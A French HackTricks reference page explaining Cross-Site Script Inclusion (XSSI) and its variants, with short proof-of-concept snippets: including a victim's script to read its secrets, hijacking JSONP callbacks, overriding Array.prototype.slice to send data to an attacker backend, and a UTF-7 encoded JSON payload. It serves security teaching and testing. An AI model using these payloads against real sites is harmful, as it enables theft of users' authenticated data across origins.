XSSI (Cross-Site Script Inclusion)
Reading time: 5 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Informations de base
Cross-Site Script Inclusion (XSSI) est une vulnérabilité qui découle de la nature de la balise script
en HTML. Contrairement Ă la plupart des ressources, qui sont soumises Ă la Same-Origin Policy (SOP), les scripts peuvent ĂȘtre inclus depuis diffĂ©rents domaines. Ce comportement est destinĂ© Ă faciliter l'utilisation de bibliothĂšques et d'autres ressources hĂ©bergĂ©es sur diffĂ©rents serveurs, mais introduit Ă©galement un risque potentiel pour la sĂ©curitĂ©.
Caractéristiques clés de XSSI :
- Contournement de la SOP : Les scripts sont exemptĂ©s de la Same-Origin Policy, leur permettant d'ĂȘtre inclus Ă travers les domaines.
- Exposition des données : Un attaquant peut exploiter ce comportement pour lire des données chargées via la balise
script
. - Impact sur JavaScript dynamique/JSONP : XSSI est particuliĂšrement pertinent pour JavaScript dynamique ou JSON avec Padding (JSONP). Ces technologies utilisent souvent des informations "d'autoritĂ© ambiante" (comme les cookies) pour l'authentification. Lorsqu'une requĂȘte de script est faite Ă un hĂŽte diffĂ©rent, ces informations d'identification (par exemple, les cookies) sont automatiquement incluses dans la requĂȘte.
- Fuite de jetons d'authentification : Si un attaquant parvient Ă tromper le navigateur d'un utilisateur pour qu'il demande un script depuis un serveur qu'il contrĂŽle, il pourrait ĂȘtre en mesure d'accĂ©der Ă des informations sensibles contenues dans ces requĂȘtes.
Types
- JavaScript statique - Cela représente la forme conventionnelle de XSSI.
- JavaScript statique avec authentification - Ce type est distinct car il nécessite une authentification pour y accéder.
- JavaScript dynamique - Implique du JavaScript qui génÚre dynamiquement du contenu.
- Non-JavaScript - Fait référence aux vulnérabilités qui n'impliquent pas directement JavaScript.
Les informations suivantes sont un résumé de https://www.scip.ch/en/?labs.20160414. Consultez-le pour plus de détails.
XSSI régulier
Dans cette approche, des informations privĂ©es sont intĂ©grĂ©es dans un fichier JavaScript accessible globalement. Les attaquants peuvent identifier ces fichiers en utilisant des mĂ©thodes telles que la lecture de fichiers, des recherches par mots-clĂ©s ou des expressions rĂ©guliĂšres. Une fois localisĂ©, le script contenant des informations privĂ©es peut ĂȘtre inclus dans un contenu malveillant, permettant un accĂšs non autorisĂ© Ă des donnĂ©es sensibles. Une technique d'exploitation d'exemple est montrĂ©e ci-dessous :
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script>
alert(JSON.stringify(confidential_keys[0]))
</script>
Dynamic-JavaScript-based-XSSI et Authenticated-JavaScript-XSSI
Ces types d'attaques XSSI impliquent que des informations confidentielles soient ajoutĂ©es dynamiquement au script en rĂ©ponse Ă une demande de l'utilisateur. La dĂ©tection peut ĂȘtre effectuĂ©e en envoyant des requĂȘtes avec et sans cookies et en comparant les rĂ©ponses. Si les informations diffĂšrent, cela peut indiquer la prĂ©sence d'informations confidentielles. Ce processus peut ĂȘtre automatisĂ© en utilisant des outils comme l'extension Burp DetectDynamicJS.
Si des donnĂ©es confidentielles sont stockĂ©es dans une variable globale, elles peuvent ĂȘtre exploitĂ©es en utilisant des mĂ©thodes similaires Ă celles utilisĂ©es dans le XSSI rĂ©gulier. Cependant, si les donnĂ©es confidentielles sont incluses dans une rĂ©ponse JSONP, les attaquants peuvent dĂ©tourner la fonction de rappel pour rĂ©cupĂ©rer les informations. Cela peut ĂȘtre fait en manipulant des objets globaux ou en configurant une fonction Ă exĂ©cuter par la rĂ©ponse JSONP, comme dĂ©montrĂ© ci-dessous :
<script>
var angular = function () {
return 1
}
angular.callbacks = function () {
return 1
}
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script
src="https://site.tld/p?jsonp=angular.callbacks._7"
type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
Pour les variables ne rĂ©sidant pas dans l'espace de noms global, le prototype tampering peut parfois ĂȘtre exploitĂ©. Cette technique tire parti de la conception de JavaScript, oĂč l'interprĂ©tation du code implique de parcourir la chaĂźne de prototypes pour localiser la propriĂ©tĂ© appelĂ©e. En remplaçant certaines fonctions, comme Array
's slice
, les attaquants peuvent accéder et leak des variables non globales :
Array.prototype.slice = function () {
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this)
}
Des dĂ©tails supplĂ©mentaires sur les vecteurs d'attaque peuvent ĂȘtre trouvĂ©s dans le travail du chercheur en sĂ©curitĂ© Sebastian Lekies, qui maintient une liste de vecteurs.
Non-Script-XSSI
La recherche de Takeshi Terada introduit une autre forme de XSSI, oĂč des fichiers Non-Script, tels que CSV, sont divulguĂ©s entre origines en Ă©tant inclus comme sources dans une balise script
. Des instances historiques de XSSI, telles que l'attaque de Jeremiah Grossman en 2006 pour lire un carnet d'adresses Google complet et la fuite de données JSON de Joe Walker en 2007, soulignent la gravité de ces menaces. De plus, Gareth Heyes décrit une variante d'attaque impliquant du JSON encodé en UTF-7 pour échapper au format JSON et exécuter des scripts, efficace dans certains navigateurs :
;[
{
friend: "luke",
email:
"+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-",
},
]
<script
src="http://site.tld/json-utf7.json"
type="text/javascript"
charset="UTF-7"></script>
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.